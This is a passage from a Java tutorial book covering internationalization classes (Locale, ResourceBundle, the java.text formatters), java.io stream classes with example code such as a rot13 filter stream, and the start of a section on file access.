Once the FooFileSecurityManager is installed, any attempt to read a filename other than foo* from any class will fail and cause a SecurityException to be thrown. All other security methods are inherited from SecurityManager, so they are left at their default restrictiveness.

All restrictions placed on applets by an applet-viewer application are enforced through a SecurityManager, which allows untrusted code loaded from over the network to be executed safely. The restrictions placed on applets are currently fairly harsh. As time passes and security considerations related to applets are better understood and accepted, the applet API will hopefully become more powerful and allow forms of persistence and access to designated public information.

Previous | Home | Next
Properties | Book Index | Internationalization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.7 Internationalization

Previous Chapter 7
Basic Utility Classes 		Next

7.7 Internationalization

In order to deliver on the promise "Write once, run anywhere," the engineers at Java designed the famous Java Virtual Machine. True, your program will run anywhere there is a JVM, but what about users in other countries? Will they have to know English to use your application? Java 1.1 answers that question with a resounding "no," backed up by various classes that are designed to make it easy for you to write a "global" application. In this section we'll talk about the concepts of internationalization and the classes that support them.

java.util.Locale

Internationalization programming revolves around the Locale class. The class itself is very simple; it encapsulates a country code, a language code, and a rarely used variant code. Commonly used languages and countries are defined as constants in the Locale class. (It's ironic that these names are all in English.) You can retrieve the codes or readable names, as follows:

Locale l = Locale.ITALIAN;
System.out.println(l.getCountry()); // IT
System.out.println(l.getDisplayCountry());  // Italy
System.out.println(l.getLanguage());    // it
System.out.println(l.getDisplayLanguage()); // Italian

The country codes comply with ISO 639. A complete list of country codes is at http://www.ics.uci.edu/pub/ietf/http/related/iso639.txt. The language codes comply with ISO 3166. A complete list of language codes is at http://www.chemie.fu-berlin.de/diverse/doc/ISO_3166.html. There is no official set of variant codes; they are designated as vendor-specific or platform-specific.

Various classes throughout the Java API use a Locale to decide how to represent themselves. We have already seen how the DateFormat class uses Locales to determine how to format and parse strings.

Resource Bundles

If you're writing an internationalized program, you want all the text that is displayed by your application to be in the correct language. Given what you have just learned about Locale, you could print out different messages by testing the Locale. This gets cumbersome quickly, however, because the messages for all Locales are embedded in your source code. ResourceBundle and its subclasses offer a cleaner, more flexible solution.

A ResourceBundle is a collection of objects that your application can access by name, much like a Hashtable with String keys. The same ResourceBundle may be defined for many different Locales. To get a particular ResourceBundle, call the factory method ResourceBundle.getBundle(), which accepts the name of a ResourceBundle and a Locale. The following example gets a ResourceBundle for two Locales, retrieves a string message from it, and prints the message. We'll define the ResourceBundles later to make this example work.

import java.util.*;
public class Hello {
  public static void main(String[] args) {
    ResourceBundle bun;
    bun = ResourceBundle.getBundle("Message", Locale.ITALY);
    System.out.println(bun.getString("HelloMessage"));
    bun = ResourceBundle.getBundle("Message", Locale.US);
    System.out.println(bun.getString("HelloMessage"));
  }
}

The getBundle() method throws the runtime exception MissingResourceException if an appropriate ResourceBundle cannot be located.

Locales are defined in three ways. They can be stand-alone classes, in which case they will either be subclasses of ListResourceBundle or direct subclasses of ResourceBundle. They can also be defined by a property file, in which case they will be represented at run-time by a PropertyResourceBundle object. When you call ResourceBundle.getBundle(), either a matching class is returned or an instance of PropertyResourceBundle corresponding to a matching property file. The algorithm used by getBundle() is based on appending the country and language codes of the requested Locale to the name of the resource. Specifically, it searches for resources using this order:

name_language_country_variant
name_language_country
name_language
name
name_default-language_default-country_default-variant
name_default-language_default-country
name_default-language

In the example above, when we try to get the ResourceBundle named Message, specific to Locale.ITALY, it searches for the following names (note that there are no variant codes in the Locales we are using):

Message_it_IT
Message_it
Message
Message_en_US
Message_en

Let's define the Message_it_IT ResourceBundle now, using a subclass of ListResourceBundle.

import java.util.*;
public class Message_it_IT extends ListResourceBundle {
  public Object[][] getContents() {
    return contents;
  }

  static final Object[][] contents = {
    {"HelloMessage", "Buon giorno, world!"},
    {"OtherMessage", "Ciao."},
  };
}

ListResourceBundle makes it easy to define a ResourceBundle class; all we have to do is override the getContents() method.

Now let's define a ResourceBundle for Locale.US. This time, we'll make a property file. Save the following data in a file called Message_en_US.properties:

HelloMessage=Hello, world!
OtherMessage=Bye.

So what happens if somebody runs your program in Locale.FRANCE, and there is no ResourceBundle defined for that Locale? To avoid a run-time MissingResourceException, it's a good idea to define a default ResourceBundle. So in our example, you could change the name of the property file to Message.properties. That way, if a language-specific or country-specific ResourceBundle cannot be found, your application can still run.

java.text

The java.text package includes, among other things, a set of classes designed for generating and parsing string representations of objects. We have already seen one of these classes, DateFormat. In this section we'll talk about the other format classes, NumberFormat, ChoiceFormat, and MessageFormat.

The NumberFormat class can be used to format and parse currency, percents, or plain old numbers. Like DateFormat, NumberFormat is an abstract class. However, it has several useful factory methods. For example, to generate currency strings, use getCurrencyInstance():

double salary = 1234.56;
String here =
    NumberFormat.getCurrencyInstance().format(salary);
    // $1,234.56
String italy =
    NumberFormat.getCurrencyInstance(Locale.ITALY).format(salary);
    // L 1.234,56

The first statement generates an American salary, with a dollar sign, a comma to separate thousands, and a period as a decimal point. The second statement presents the same string in Italian, with a lire sign, a period to separate thousands, and a comma as a decimal point. Remember that the NumberFormat worries about format only; it doesn't attempt to do currency conversion. (Among other things, that would require access to a dynamically updated table and exchange rates: a good opportunity for a Java Bean, but too much to ask of a simple formatter.)

Likewise, getPercentInstance() returns a formatter you can use for generating and parsing percents. If you do not specify a Locale when calling a getInstance() method, the default Locale is used.

NumberFormat pf = NumberFormat.getPercentInstance();
System.out.println(pf.format(progress)); // 44%
try {
  System.out.println(pf.parse("77.2%")); // 0.772
}
catch (ParseException e) {}

And if you just want to generate and parse plain old numbers, use a NumberFormat returned by getInstance() or its equivalent, getNumberInstance().

NumberFormat guiseppe = NumberFormat.getInstance(Locale.ITALY);
NumberFormat joe = NumberFormat.getInstance();  // defaults to Locale.US
try {
  double theValue = guiseppe.parse("34.663,252").doubleValue();
  System.out.println(joe.format(theValue)); // 34,663.252
}
catch (ParseException e) {}

We use guiseppe to parse a number in Italian format (periods separate thousands, comma as the decimal point). The return type of parse() is Number, so we use the doubleValue() method to retrieve the value of the Number as a double. Then we use joe to format the number correctly for the default (US) locale.

Table 7.8 summarizes the factory methods for text formatters in the java.text package.

Table 7.9: Format Factory Methods
Factory Method
DateFormat.getDateInstance()
DateFormat.getDateInstance(int style)
DateFormat.getDateInstance(int style, Locale aLocale)
DateFormat.getDateTimeInstance()
DateFormat.getDateTimeInstance(int dateStyle, int timeStyle)
DateFormat.getDateTimeInstance(int dateStyle, int timeStyle, Locale aLocale)
DateFormat.getInstance()
DateFormat.getTimeInstance()
DateFormat.getTimeInstance(int style)
DateFormat.getTimeInstance(int style, Locale aLocale)
NumberFormat.getCurrencyInstance()
NumberFormat.getCurrencyInstance(Locale inLocale)
NumberFormat.getInstance()
NumberFormat.getInstance(Locale inLocale)
NumberFormat.getNumberInstance()
NumberFormat.getNumberInstance(Locale inLocale)
NumberFormat.getPercentInstance()
NumberFormat.getPercentInstance(Locale inLocale)

Thus far we've seen how to format dates and numbers as text. Now we'll take a look at a class, ChoiceFormat, that maps numerical ranges to text. ChoiceFormat is constructed by specifying the numerical ranges and the strings that correspond to them. One constructor accepts an array of doubles and an array of Strings, where each string corresponds to the range running from the matching number up through the next number:

double[] limits = {0, 20, 40};
String[] labels = {"young", "less young", "old"};
ChoiceFormat cf = new ChoiceFormat(limits, labels);
System.out.println(cf.format(12)); // young
System.out.println(cf.format(26)); // less young

You can specify both the limits and the labels using a special string in another ChoiceFormat constructor:

ChoiceFormat cf = new ChoiceFormat("0#young|20#less young|40#old");
System.out.println(cf.format(40)); // old
System.out.println(cf.format(50)); // old

The limit and value pairs are separated by pipe characters (|; also known as "vertical bar"), while the number sign serves to separate each limit from its corresponding value.

To complete our discussion of the formatting classes, we'll take a look at another class, MessageFormat, that helps you construct human-readable messages. To construct a MessageFormat, pass it a pattern string. A pattern string is a lot like the string you feed to printf() in C, although the syntax is different. Arguments are delineated by curly brackets, and may include information about how they should be formatted. Each argument consists of a number, an optional type, and an optional style. These are summarized in table Table 7.9.

Table 7.10: MessageFormat arguments
Type | Styles
choice | pattern
date | short, medium, long, full, pattern
number | integer, percent, currency, pattern
time | short, medium, long, full, pattern

Let's use an example to clarify all of this.

MessageFormat mf = new MessageFormat("You have {0} messages.");
Object[] arguments = {"no"};
System.out.println(mf.format(arguments)); // You have no messages.

We start by constructing a MessageFormat object; the argument to the constructor is the pattern on which messages will be based. The special incantation {0} means "in this position, substitute element 0 from the array passed as an argument to the format() method." Thus, we construct a MessageFormat object with a pattern, which is a template on which messages are based. When we generate a message, by calling format(), we pass in values to fill the blank spaces in the template. In this case, we pass the array arguments[] to mf.format; this substitutes arguments[0], yielding the result "You have no messages."

Let's try this example again, except we'll show how to format a number and a date instead of a string argument.

MessageFormat mf = new MessageFormat(
    "You have {0, number, integer} messages on {1, date, long}.");
Object[] arguments = {new Integer(93), new Date()};
System.out.println(mf.format(arguments));
    // You have 93 messages on April 10, 1997.

In this example, we need to fill in two spaces in the template, and therefore need two elements in the arguments[] array. Element 0 must be a number, and is formatted as an integer. Element 1 must be a Date, and will be printed in the long format. When we call format(), the arguments[] array supplies these two values.

This is still sloppy. What if there is only one message? To make this grammatically correct, we can embed a ChoiceFormat-style pattern string in our MessageFormat pattern string.

MessageFormat mf = new MessageFormat(
    "You have {0, number, integer} message{0, choice, 0#s|1#|2#s}.");
Object[] arguments = {new Integer(1)};
System.out.println(mf.format(arguments)); // You have 1 message.

In this case, we use element 0 of arguments[] twice: once to supply the number of messages, and once to provide input to the ChoiceFormat pattern. The pattern says to add an "s" if argument 0 has the value zero, or is two or more.

Finally, a few words on how to be clever. If you want to write international programs, you can use resource bundles to supply the strings for your MessageFormat objects. This way, you can automatically format messages that are in the appropriate language with dates and other language-dependent fields handled appropriately.

In this context, it's helpful to realize that messages don't need to read elements from the array in order. In English, you would say "Disk C has 123 files"; in some other language, you might say "123 files are on Disk C." You could implement both messages with the same set of arguments:

MessageFormat m1 = new MessageFormat(
    "Disk {0} has {1, number, integer} files.");
MessageFormat m2 = new MessageFormat(
    "{1, number, integer} files are on disk {0}.");
Object[] arguments = {"C", new Integer(123)};

In real life, you'd only use a single MessageFormat object, initialized with a string taken from a resource bundle.

Previous | Home | Next
The Security Manager | Book Index | Input/Output Facilities
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] Input/Output Facilities

Previous Chapter 8 Next

8. Input/Output Facilities

Contents:
Streams
Files
Serialization
Data compression

In this chapter, we'll continue our exploration of the Java
API by looking at many of the classes in the
java.io package. These classes support a number of
forms of input and output; I expect you'll use them often in
your Java applications. Figure 8.1 shows the
class hierarchy of the java.io package.

We'll start by looking at the stream classes in
java.io; these classes are all subclasses of the
basic InputStream, OutputStream, Reader, and
Writer classes. Then we'll examine the
File class and discuss how you can interact with
the filesystem using classes in java.io.  Finally,
we'll take a quick look at the data compression classes provided in
java.util.zip.

8.1 Streams

All fundamental I/O in Java is based on streams.
A stream represents a flow of data, or a channel of communication
with (at least conceptually) a writer at one end and a reader at the
other. When you are working with terminal input and output, reading
or writing files, or communicating through sockets in Java, you are
using a stream of one type or another. So you can see the forest
without being distracted by the trees, I'll start by summarizing
the different types of streams.

Figure 8.1: The java.io package

  [Graphic: Figure 8-1]

InputStream/OutputStream

Abstract classes that define the basic functionality
for reading or writing an unstructured sequence of
bytes. All other byte streams in Java are built on top of
the basic InputStream and OutputStream.

Reader/Writer

Abstract classes that define the basic functionality
for reading or writing an unstructured sequence of
characters. All other character streams in Java are built on top of
Reader and Writer.

InputStreamReader/OutputStreamWriter

"Bridge" classes that convert bytes to characters and vice versa.

DataInputStream/DataOutputStream

Specialized stream filters that add the ability to
read and write simple data types like numeric primitives and
String objects.

BufferedInputStream/BufferedOutputStream
/BufferedReader/BufferedWriter

Specialized streams that
incorporate buffering for additional efficiency.

PrintWriter

A specialized character stream that makes it simple to print text.

PipedInputStream/PipedOutputStream
/PipedReader/PipedWriter

"Double-ended" streams that always occur in pairs. Data written
into a PipedOutputStream or PipedWriter
is read from its corresponding PipedInputStream or
PipedReader.

FileInputStream/FileOutputStream
/FileReader/FileWriter

Implementations of InputStream, OutputStream,
Reader, and
Writer that read from and write to files on
the local filesystem.

Streams in Java are one-way streets. The
java.io input and
output classes represent the ends of
a simple stream, as shown in Figure 8.2. For
bidirectional conversations, we use one of each type of stream.

Figure 8.2: Basic input and output stream functionality

  [Graphic: Figure 8-2]

InputStream and OutputStream are
abstract classes that define the lowest-level
interface for all byte streams. They contain methods for reading or writing
an unstructured flow of byte-level data. Because these classes are
abstract, you can never create a "pure" input or output stream. Java
implements subclasses of these for activities like reading and writing
files, and communicating with sockets. Because all byte streams inherit the
structure of InputStream or
OutputStream, the various kinds of byte streams can be
used interchangeably. For example, a method often takes an
InputStream as an argument. This means the method
accepts any subclass of InputStream. Specialized
types of streams can also be layered to provide higher-level
functionality, such as buffering or handling larger data types.

In Java 1.1, new classes based around Reader and
Writer were added
to the java.io package.  Reader and
Writer are very much like InputStream and
OutputStream, except that they deal with characters instead
of bytes.  As true character streams, these classes correctly handle Unicode characters,
which was not always the case with the byte streams.  However, some sort of
bridge is needed between these character streams and the byte streams of
physical devices like
disks and networks.  InputStreamReader and
OutputStreamWriter are special classes that use
an encoding scheme
to translate between character and byte streams.

We'll discuss all of the interesting stream types in this
section, with the exception of FileInputStream,
FileOutputStream, FileReader, and
FileWriter. We'll postpone the
discussion of file streams until the next section, where we'll
cover issues involved with accessing the filesystem in
Java.

Terminal I/O

The prototypical example of an InputStream object
is the standard input of a Java application. Like
stdin in C or cin in C++, this
object reads data from the program's environment, which is
usually a terminal window or a command pipe. The
java.lang.System class, a general repository for
system-related resources, provides a reference to standard input in
the static variable in.
System also provides objects for standard output
and standard error in the out and
err variables, respectively. The following example
shows the correspondence:

InputStream stdin = System.in;
OutputStream stdout = System.out;
OutputStream stderr = System.err;

This example hides the fact that System.out
and System.err aren't really
OutputStream objects, but more specialized
and useful PrintStream objects. I'll explain
these later, but for now we can reference
out and err as
OutputStream objects, since they are a kind of
OutputStream by inheritance.

We can read a single byte at a time from standard input with
the InputStream's read()
method. If you look closely at the API,
you'll see that the read() method of the base
InputStream class is actually an
abstract method. What lies behind
System.in is an implementation of
InputStream, so it's valid to call
read() for this stream:

try {
    int val = System.in.read();
    ...
}
catch ( IOException e ) {
}

As is the convention in C, read() provides a byte
of information, but its return type is int. A
return value of -1 indicates a normal end of
stream has been reached; you'll need to test for this condition
when using the simple read() method. If an
error occurs during the read, an IOException is
thrown.
All basic input and output stream commands can throw an
IOException, so you should arrange to catch
and handle them as appropriate.

To retrieve the value as a byte, perform the cast:

byte b = (byte) val;

Of course, you'll need to check for the end-of-stream condition
before you perform the cast. An overloaded form of
read() fills a byte array with as much data as
possible up to the limit of the array size and returns the number of
bytes read:

byte [] bity = new byte [1024];
int got = System.in.read( bity );

We can also check the number of bytes available for reading on an
InputStream with the available()
method. Once we have that information, we can create an array of
exactly the right size:

int waiting = System.in.available();
if ( waiting > 0 ) {
    byte [] data = new byte [ waiting ];
    System.in.read( data );
    ...
}

InputStream provides the skip()
method as a way of jumping over a number of bytes. Depending on the
implementation of the stream and if you aren't interested in the
intermediate data, skipping bytes may be more efficient than reading
them. The close() method shuts down the stream and
frees up any associated system resources. It's a good
idea to close a stream when you are done using it.

Character Streams

The InputStream and OutputStream subclasses
of Java 1.0.2 included methods for reading and writing strings, but most of them
operated by assuming that a sixteen-bit Unicode character was equivalent to an
eight-bit byte in the stream.  This only works for Latin-1 (ISO8859-1) characters, so
the character stream classes Reader and Writer
were introduced in Java 1.1.  Two special classes, InputStreamReader
and OutputStreamWriter, bridge the gap between the world of
character streams and the world of byte streams.  These are character streams that are
wrapped around an underlying byte stream.  An encoding scheme is used to convert
between bytes and characters.  An encoding scheme name can be specified in the constructor
of InputStreamReader or OutputStreamWriter.  Another constructor
simply accepts the underlying stream and uses the system's default encoding scheme.
For example, let's parse a human-readable
string from the standard input into an integer.  We'll assume that the bytes coming from
System.in use the system's default encoding scheme.

try {
    InputStreamReader converter = new InputStreamReader(System.in);
    BufferedReader in = new BufferedReader(converter);

    String text = in.readLine();
    int i = NumberFormat.getInstance().parse(text).intValue();
}
catch ( IOException e ) { }
catch ( ParseException pe ) { }

First, we wrap an InputStreamReader around System.in.
This object converts the incoming bytes of System.in to characters
using the default encoding scheme.  Then, we wrap a BufferedReader around
the InputStreamReader.  BufferedReader gives us
the readLine() method, which we can use to retrieve a full
line of text into a String.  The string is then parsed into an
integer using the techniques described in Chapter 7.

We could have programmed the previous example using only byte streams, and it
would have worked for users in the United States, at least.  So why
go to the extra trouble of using character streams?  Character streams were introduced
in Java 1.1 to correctly support Unicode strings.  Unicode was designed to support
almost all of the written languages of the world.  If you want to write a program that
works in any part of the world, in any language, you definitely want to use
streams that don't mangle Unicode.

So how do you decide when you need a byte stream and when you need a character
stream?  If you want to read or write character strings, use some variety of Reader
or Writer.  Otherwise a byte stream should suffice.  Let's say,
for example, that you want to read strings from a file that was written out by
a Java 1.0.2 application.  In this case you could simply create a
FileReader, which will convert the bytes
in the file to characters using the system's default encoding scheme.  If
you have a file in a specific encoding scheme, you can create an
InputStreamReader with that encoding
scheme and read characters from it.  Another example comes from the
Internet.  Web servers serve files as byte streams.  If you want to read
Unicode strings from
a file with a particular encoding scheme, you'll need an appropriate
InputStreamReader wrapped around the
socket's InputStream.

Stream Wrappers

What if we want to do more than read and write a mess of bytes or characters? Many of the
InputStream,
OutputStream, Reader, and
Writer classes wrap other streams and add new
features. A filtered stream takes another stream in its constructor; it delegates calls
to the underlying stream while doing some additional processing of its
own.

In Java 1.0.2, all wrapper streams were subclasses of FilterInputStream and
FilterOutputStream.  The character stream classes
introduced in Java 1.1 break this pattern, but they operate in the same way.  For
example, BufferedInputStream extends
FilterInputStream in the byte world, but
BufferedReader extends Reader
in the character world.  It doesn't really matter--both classes accept a stream in
their constructor and perform buffering.  Like the byte stream classes,
the character stream classes include the abstract
FilterReader and FilterWriter
classes, which simply pass all method calls to an underlying stream.

The FilterInputStream, FilterOutputStream,
FilterReader, and
FilterWriter classes themselves aren't
useful; they must be subclassed and specialized to create a new type
of filtering operation. For example, specialized wrapper streams like
DataInputStream and
DataOutputStream provide additional methods
for reading and writing primitive data types.

As we said, when you create an instance of a filtered stream,
you specify another stream in the constructor. The specialized
stream wraps an additional layer of functionality around the other
stream, as shown in Figure 8.3. Because filtered
streams themselves are subclasses of the fundamental
stream
types, filtered streams can be layered on top of each other to provide
different combinations of features.  For example, you could wrap a
PushbackReader around a LineNumberReader
that was wrapped around a FileReader.

Figure 8.3: Layered streams

  [Graphic: Figure 8-3]

Data streams

DataInputStream and
DataOutputStream are filtered streams that let you  read or write strings and
primitive data types that comprise
more than a single byte. DataInputStream and
DataOutputStream implement the
DataInput and
DataOutput interfaces, respectively. These
interfaces define the methods required for streams that read and write
strings and Java primitive types in a machine-independent manner.

You can construct a DataInputStream from an
InputStream and then use a method like
readDouble() to read a primitive data type:

DataInputStream dis = new DataInputStream( System.in );
double d = dis.readDouble();

The above example wraps the standard input stream in a
DataInputStream and uses it to read a double
value. readDouble() reads bytes from the stream
and constructs a double from them.
All DataInputStream methods
that read primitive types also read binary information.

The DataOutputStream class provides write methods
that correspond to the read methods in DataInputStream.
For example, writeInt() writes an integer in
binary format to the underlying output stream.

The readUTF() and
writeUTF() methods of
DataInputStream and
DataOutputStream read and write a Java
String of Unicode characters using the
UTF-8 "transformation format."
UTF-8 is an ASCII-compatible
encoding of Unicode characters commonly used for the
transmission and storage of Unicode text.[1]

[1]
Check out the URL
http://www.stonehand.com/unicode/standard/utf8.html
for more information on UTF-8.

We can use a DataInputStream with any kind
of input stream, whether it be from a file, a socket, or standard
input. The same applies to using a
DataOutputStream, or, for that matter, any other
specialized streams in java.io.

Buffered streams

The BufferedInputStream,
BufferedOutputStream,
BufferedReader, and
BufferedWriter classes add a data
buffer of a specified size to the stream path. A buffer can increase
efficiency by reducing the number of physical read or write operations
that correspond to read() or
write() method calls. You create a buffered stream
with an appropriate input or output stream and a buffer
size. Furthermore, you can wrap another stream around a buffered
stream so that it benefits from the buffering. Here's a simple
buffered input stream:

BufferedInputStream bis = new BufferedInputStream(myInputStream, 4096);
...
bis.read();

In this example, we specify a buffer size of 4096 bytes. If we leave
off the size of the buffer in the constructor, a reasonably sized one
is chosen for us. On our first call to read(),
bis tries to fill the entire 4096-byte buffer with
data. Thereafter, calls to read() retrieve data
from the buffer until it's empty.

A BufferedOutputStream works in a similar
way. Calls to write() store the data in a buffer;
data is actually written only when the buffer fills up. You can also
use the flush() method to wring out the contents of
a BufferedOutputStream before the buffer is full.

Some input streams like BufferedInputStream
support the ability to mark a location in the data and later reset the
stream to that position. The mark() method sets the
return point in the stream. It takes an integer value that specifies
the number of bytes that can be read before the stream gives up and
forgets about the mark. The reset() method returns
the stream to the marked point; any data read after the call
to mark() is read again.

This functionality is especially useful when you are reading
the stream in a parser. You may occasionally fail to parse a structure
and so must try something else. In this situation, you can have your
parser generate an error (a homemade
ParseException) and then reset the stream to the
point before it began parsing the structure:

BufferedInputStream input;
...
try {
    input.mark( MAX_DATA_STRUCTURE_SIZE );
    return( parseDataStructure( input ) );
}
catch ( ParseException e ) {
    input.reset();
    ...
}

The BufferedReader and
BufferedWriter classes work just
like their byte-based counterparts, but operate on characters instead of
bytes.

Print streams

Another useful wrapper stream is
java.io.PrintWriter. This class provides a suite of
overloaded print() methods that turn their
arguments into strings and push them out the stream. A complementary
set of println() methods adds a newline to the end
of the strings. PrintWriter is the more
capable big brother of the PrintStream
byte stream.  PrintWriter is an
unusual character stream because it can wrap either an OutputStream
or another Writer. The System.out and
System.err streams are
PrintStream objects; you have already seen such
streams strewn throughout this book:

System.out.print("Hello world...\n");
System.out.println("Hello world...");
System.out.println( "The answer is: " + 17 );
System.out.println( 3.14 );

In Java 1.1, the
PrintStream class has been enhanced
to translate characters to bytes using the system's default
encoding scheme. Although PrintStream
is not deprecated in Java 1.1, its constructors are.  For all new
development, use a PrintWriter instead of
a PrintStream.  Because a
PrintWriter can wrap an
OutputStream, the two classes are
interchangeable.

When you create a PrintWriter object, you
can pass an additional boolean value to the
constructor. If this value is true, the
PrintWriter automatically performs a
flush() on the underlying
OutputStream or Writer
each time it sends a newline:

boolean autoFlush = true;
PrintWriter p = new PrintWriter( myOutputStream, autoFlush );

When this technique is used with a buffered output stream, it
corresponds to the behavior of terminals that send data
line by line.

Unlike methods in other stream classes,
the methods of PrintWriter
and PrintStream
do not throw
IOExceptions.
Instead, if we are
interested, we can check for errors with the
checkError() method:

System.out.println( reallyLongString );
if ( System.out.checkError() )                // Uh oh

Pipes

Normally, our applications are directly involved with one side of
a given stream at a time. PipedInputStream
and PipedOutputStream (or
PipedReader
and PipedWriter), however, let us
create two sides of a stream and connect them together, as shown in
Figure 8.4. This provides a stream
of communication between threads, for example.

To create a pipe, we use both a
PipedInputStream and a
PipedOutputStream. We can simply choose a side and
then construct the other side using the first as an argument:

Figure 8.4: Piped streams

  [Graphic: Figure 8-4]

PipedInputStream pin = new PipedInputStream();
PipedOutputStream pout = new PipedOutputStream( pin );

Alternatively :

PipedOutputStream pout = new PipedOutputStream( );
PipedInputStream pin = new PipedInputStream( pout );

In each of these examples, the effect is to produce an input
stream, pin, and an output stream,
pout, that are connected. Data written to
pout can then be read by pin. It
is also possible to create the PipedInputStream and
the PipedOutputStream separately, and then connect
them with the connect() method.

We can do exactly the same thing in the character-based world, using
PipedReader and
PipedWriter in place of
PipedInputStream and
PipedOutputStream.

Once the two ends of the pipe are connected, use the two
streams as you would other input and output
streams. You can use read() to read data from the
PipedInputStream (or PipedReader)
 and write() to
write data to the PipedOutputStream (or
PipedWriter). If the
internal buffer of the pipe fills up, the writer blocks and waits
until more space is available. Conversely, if the pipe is empty, the
reader blocks and waits until some data is available. Internally, the
blocking is implemented with wait() and
notifyAll(), as described in Chapter 6, Threads.

One advantage to using piped streams is that they provide
stream functionality in our code, without compelling us to build new,
specialized streams. For example, we can use pipes to create a simple
logging facility for our application. We can send messages to the
logging facility through an ordinary PrintWriter,
and then it can do whatever processing or buffering is required before
sending the messages off
to their ultimate location. Because we are dealing with string
messages, we use the character-based PipedReader
and PipedWriter classes. The following
example shows the skeleton of our logging facility:

import java.io.*;

class LoggerDaemon extends Thread {
    PipedReader in = new PipedReader();

    LoggerDaemon() {
        setDaemon( true );
        start();
    }

    public void run() {
        BufferedReader din = new BufferedReader( in );
        String s;

        try {
           while ( (s = din.readLine()) != null ) {
                // process line of data
                // ...
            }
        }
        catch (IOException e ) { }
    }

    PrintWriter getWriter() throws IOException {
        return new PrintWriter( new PipedWriter( in ) );
    }
}

class myApplication {
    public static void main ( String [] args ) throws IOException {
        PrintWriter out = new LoggerDaemon().getWriter();

        out.println("Application starting...");
        // ...
        out.println("Warning: does not compute!");
        // ...
    }
}

LoggerDaemon is a daemon thread, so it will die
when our application exits. LoggerDaemon reads
strings from its end of the pipe, the
PipedReader
in. LoggerDaemon also
provides a method, getWriter(), that returns a
PipedWriter that is connected to its input
stream. Simply create a new LoggerDaemon and fetch
the output stream to begin sending messages.

In order to read strings with the readLine()
method, LoggerDaemon wraps a
BufferedReader around its
PipedReader. For convenience, it also presents
its PipedWriter as a
PrintWriter, rather than a simple
Writer.

One advantage of implementing LoggerDaemon
with pipes is that we can log messages as easily as we write text to a
terminal or any other stream. In other words, we can use all our
normal tools and techniques. Another advantage is that the processing
happens in another thread, so we can go about our business while the
processing takes place.

There is nothing stopping us from connecting more than two
piped streams. For example, we could chain multiple pipes together to
perform a series of filtering operations.

Strings to Streams and Back

The StringReader class is another useful
stream class. The stream is created from a String;
StringReader essentially wraps stream
functionality around a String. Here's how to
use a StringReader:

String data = "There once was a man from Nantucket...";
StringReader sr = new StringReader( data );

char T = (char)sr.read();
char h = (char)sr.read();
char e = (char)sr.read();

Note that you will still have
to catch IOExceptions thrown by
some of the StringReader's methods.

The StringReader class is useful when
you want to read data in a String as if it were
coming from a stream, such as a file, pipe, or socket. For example,
suppose you create a parser that expects to read tokens from a
stream. But you want to provide a method that also parses a big
string. You can easily add one using
StringReader.

Turning things around, the StringWriter
class lets us write to a character string through an output
stream. The internal string grows as necessary to accommodate the
data. In the following example, we create a
StringWriter and wrap it in a
PrintWriter for convenience:

StringWriter buffer = new StringWriter();
PrintWriter out = new PrintWriter( buffer );

out.println("A moose once bit my sister.");
out.println("No, really!");

String results = buffer.toString();

First we print a few lines to the output stream, to give it some data,
then retrieve the results as a string with the
toString() method. Alternately, we could get the
results as a StringBuffer with the getBuffer()
method.

The StringWriter class is useful if
you want to capture the output of something that normally sends output
to a stream, such as a file or the console. A
PrintWriter wrapped around a
StringWriter competes with
StringBuffer as the easiest way to construct
large strings piece by piece. While using a
StringBuffer is more efficient,
PrintWriter provides more functionality than the
normal append() method used by
StringBuffer.

rot13InputStream

Before we leave streams, let's try our hand at making one of our
own. I mentioned earlier that specialized stream wrappers are built on
top of the FilterInputStream and
FilterOutputStream classes. It's quite easy
to create our own subclass of FilterInputStream
that can be wrapped around other streams to add new functionality.

The following example, rot13InputStream,
performs a rot13 operation on the bytes that it
reads. rot13 is a trivial algorithm that shifts
alphanumeric letters to make them not quite human-readable; it's cute
because it's symmetric. That is, to "un-rot13" some text,
simply rot13 it again. We'll use the
rot13InputStream class again in the
crypt protocol handler example in Chapter 9, Network Programming, so we've put the class in the
example.io package to facilitate
reuse. Here's our rot13InputStream class:

package example.io;
import java.io.*;

public class rot13InputStream extends FilterInputStream {

    public rot13InputStream ( InputStream i ) {
        super( i );
    }

    public int read() throws IOException {
        return rot13( in.read() );
    }

    private int rot13 ( int c ) {
        if ( (c >= 'A') && (c <= 'Z') )            c=(((c-'A')+13)%26)+'A';        if ( (c >= 'a') && (c <= 'z') )
            c=(((c-'a')+13)%26)+'a';
        return c;
    } }

The FilterInputStream needs to be initialized with
an InputStream; this is the stream to be
filtered. We provide an appropriate constructor for the
rot13InputStream class and invoke the parent
constructor with a call to super().
FilterInputStream contains a protected instance
variable, in, where it stores the stream reference
and makes it available to the rest of our class.

The primary feature of a FilterInputStream
is that it overrides the normal InputStream
methods to delegate calls to the InputStream in the
variable in. So, for instance, a call to
read() simply turns around and calls
read() on in to fetch a byte. An
instance of FilterInputStream itself could be
instantiated from an InputStream; it would
pass its method calls on to that stream and serve as a
pass-through filter. To make things interesting, we can override
methods of the FilterInputStream class and do
extra work on the data as it passes through.

In our example, we have overridden the
read() method to fetch bytes from the underlying
InputStream, in, and then
perform the rot13 shift on the data before
returning it. Note that the rot13() method shifts
alphabetic characters, while simply passing all other values,
including the end of stream value (-1). Our
subclass now acts like a rot13 filter. All
other normal functionality of an InputStream, like
skip() and available() is
unmodified, so calls to these methods are answered by the underlying
InputStream.

Strictly speaking, rot13InputStream only works
on an ASCII byte stream, since the underlying algorithm is based
on the Roman alphabet.  A more generalized character scrambling
algorithm would have to be based on FilterReader
to handle Unicode correctly.

Previous | Home | Next
Internationalization | Book Index | Files

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 8] 8.2 Files

Previous Chapter 8
Input/Output Facilities 		Next

8.2 Files

Unless otherwise restricted, a Java application can read and write to the host filesystem with the same level of access as the user who runs the Java interpreter. Java applets and other kinds of networked applications can, of course, be restricted by the SecurityManager and cut off from these services. We'll discuss applet access at the end of this section. First, let's take a look at the tools for basic file access.

Working with files in Java is still somewhat problematic. The host filesystem lies outside of Java's virtual environment, in the real world, and can therefore still suffer from architecture and implementation differences. Java tries to mask some of these differences by providing information to help an application tailor itself to the local environment; I'll mention these areas as they occur.

java.io.File

The java.io.File class encapsulates access to information about a file or directory entry in the filesystem. It gets attribute information about a file, lists the entries in a directory, and performs basic filesystem operations like removing a file or making a directory. While the File object handles these tasks, it doesn't provide direct access for reading and writing file data; there are specialized streams for that purpose.

File constructors

